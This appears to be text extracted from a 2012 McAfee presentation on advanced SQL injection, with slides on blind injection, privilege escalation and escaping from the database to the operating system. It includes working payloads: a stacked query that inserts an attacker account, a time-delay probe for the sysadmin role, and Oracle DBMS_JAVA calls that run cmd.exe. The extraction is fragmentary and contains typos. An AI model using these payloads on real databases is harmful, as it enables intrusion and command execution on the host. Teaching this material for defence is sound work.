Advanced SQL Injection
Advanced SQL Injection
December 2012
Guillaume Loizeau
Regional Sales Manager, DB Security
McAfee
Agenda
• What is SQL Injection
• In-band Injection
• Out-of-band Injection
• Blind Injection
• Advanced techniques
– Infection
– Privilege elevation
– Escape the DB to OS
• Protection against SQL Injection
Introduction
• Demo 1003
Name 5Acct EU
State 999
pass 0 hint 5.05
date
Smith 9234 CA secret asdf 3/1/2011
Now, just attack the password hash using either using brute-force or dictionary.
• Pass in – '; insert into users (username, password) values ('haxor', 'p0wned') --
select * from users where username = ''; insert into users (username, password) values ('haxor',
'p0wned') -- and password = ''
SQL Injection In-Band using SQL Server
• A guessing game
• Binary results – guess either true or false
• Requires many more queries
– Time consuming and resource consuming
– Can benefit from parallelizing
– Must be automated
• Either use decode or case statements
• Customary used with short or long queries since
dbms_lock.sleep is not a function
– Can be used with functions that receive a timeout like
dbms_pipe.receive_message
Blind SQL Injection
SQL Server
If is_srvrolemember('sysdamin') > 0) waitfor delay '0:0:5'
Oracle
• dmbs_lock.sleep
• dbms_pipe.receive_message
Privilege Escalation
• Using Java
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL is
not null --
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper',
'main', 'c:\\windows\\system32\\cmd.exe','/c','dir>c:\\OUT2.LST') FROM
DUAL is not null –
• Using DBMS_SCHEDULER
Escape the DB to OS
• McAfee Youtube
www.youtube.com/mcafeeofficial
• McAfee Labs Blog
www.avertlabs.com/research/blog/
• McAfee Risk & Compliance Blog
Security Insights Blog
siblog.mcafee.com/?cat=46
• McAfee Labs Podcast
podcasts.mcafee.com/audioparasitics/
Resources and Tools